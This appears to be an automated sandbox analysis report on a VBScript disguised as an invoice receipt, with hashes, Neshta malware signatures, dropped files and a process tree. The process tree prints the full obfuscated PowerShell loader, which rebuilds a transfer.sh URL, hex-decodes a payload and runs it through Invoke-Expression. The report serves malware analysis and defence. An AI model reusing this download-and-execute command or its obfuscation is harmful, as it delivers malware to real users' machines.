Analysis

  • max time kernel
    150s
  • max time network
    39s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    17-09-2021 18:17

General

  • Target

    2816723_Invoice_receipt.vbs

  • Size

    3KB

  • MD5

    eaf19e86a4dab23ea534c50700044dff

  • SHA1

    32fdfb387dfde6946a4ca7851500bbaffd2608c2

  • SHA256

    49d201c4f1d8da00165e974d19bade57ee89df4ad2bfd84fb5f6129d5ef9c840

  • SHA512

    6c7affea47a243db26c83ff98f7778efd0779f52721762857a0eb0c40c772ba06a9cb3478f153a53238d48e275bd79f4c6f206ebb8ad241223a4a5194ed46519

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://transfer.sh/nlFGs3/bypass.txt

Signatures

  • Detect Neshta Payload 3 IoCs
  • Modifies system executable filetype association 2 TTPs 1 IoCs
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2816723_Invoice_receipt.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/nlFGs3/bypassH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!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3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1548
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Modifies system executable filetype association
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies registry class
        PID:1568

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
    MD5

    9e2b9928c89a9d0da1d3e8f4bd96afa7

    SHA1

    ec66cda99f44b62470c6930e5afda061579cde35

    SHA256

    8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043

    SHA512

    2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

  • \PROGRA~2\Google\Temp\GUMFBCB.tmp\GOFB2B~1.EXE
    MD5

    583ff3367e050c4d62bc03516473b40a

    SHA1

    6aa1d26352b78310e711884829c35a69ed1bf0f9

    SHA256

    6b63f8dd47d8b3baa71b6cd205d428861b96bf09cf479071e75ddd23f97c0146

    SHA512

    e9bdd5cc2e29db48cc524488fbadb08e808f17f6e18fa595cfebae229c94f2547079e52a2ada214169577b89b2ffbef424729cd90acdea3774f5c76aec192be0

  • \PROGRA~2\Google\Update\1335~1.452\GOFB2B~1.EXE
    MD5

    583ff3367e050c4d62bc03516473b40a

    SHA1

    6aa1d26352b78310e711884829c35a69ed1bf0f9

    SHA256

    6b63f8dd47d8b3baa71b6cd205d428861b96bf09cf479071e75ddd23f97c0146

    SHA512

    e9bdd5cc2e29db48cc524488fbadb08e808f17f6e18fa595cfebae229c94f2547079e52a2ada214169577b89b2ffbef424729cd90acdea3774f5c76aec192be0

  • memory/1548-73-0x000000001AB10000-0x000000001AB11000-memory.dmp
    Filesize

    4KB

  • memory/1548-86-0x000000001AB50000-0x000000001AB51000-memory.dmp
    Filesize

    4KB

  • memory/1548-66-0x0000000002330000-0x0000000002331000-memory.dmp
    Filesize

    4KB

  • memory/1548-67-0x000000001AB60000-0x000000001AB62000-memory.dmp
    Filesize

    8KB

  • memory/1548-68-0x000000001AB64000-0x000000001AB66000-memory.dmp
    Filesize

    8KB

  • memory/1548-69-0x000000001B490000-0x000000001B491000-memory.dmp
    Filesize

    4KB

  • memory/1548-70-0x0000000002770000-0x0000000002771000-memory.dmp
    Filesize

    4KB

  • memory/1548-61-0x0000000000000000-mapping.dmp
  • memory/1548-85-0x000000001A850000-0x000000001A851000-memory.dmp
    Filesize

    4KB

  • memory/1548-65-0x0000000002470000-0x0000000002471000-memory.dmp
    Filesize

    4KB

  • memory/1548-87-0x000000001AB6A000-0x000000001AB89000-memory.dmp
    Filesize

    124KB

  • memory/1548-88-0x000000001C170000-0x000000001C171000-memory.dmp
    Filesize

    4KB

  • memory/1548-89-0x000000001B790000-0x000000001B794000-memory.dmp
    Filesize

    16KB

  • memory/1548-63-0x0000000001DC0000-0x0000000001DC1000-memory.dmp
    Filesize

    4KB

  • memory/1548-64-0x000000001ABE0000-0x000000001ABE1000-memory.dmp
    Filesize

    4KB

  • memory/1568-92-0x00000000757C1000-0x00000000757C3000-memory.dmp
    Filesize

    8KB

  • memory/1568-93-0x0000000000400000-0x000000000041B000-memory.dmp
    Filesize

    108KB

  • memory/1568-91-0x00000000004080E4-mapping.dmp
  • memory/1568-90-0x0000000000400000-0x000000000041B000-memory.dmp
    Filesize

    108KB

  • memory/1848-60-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp
    Filesize

    8KB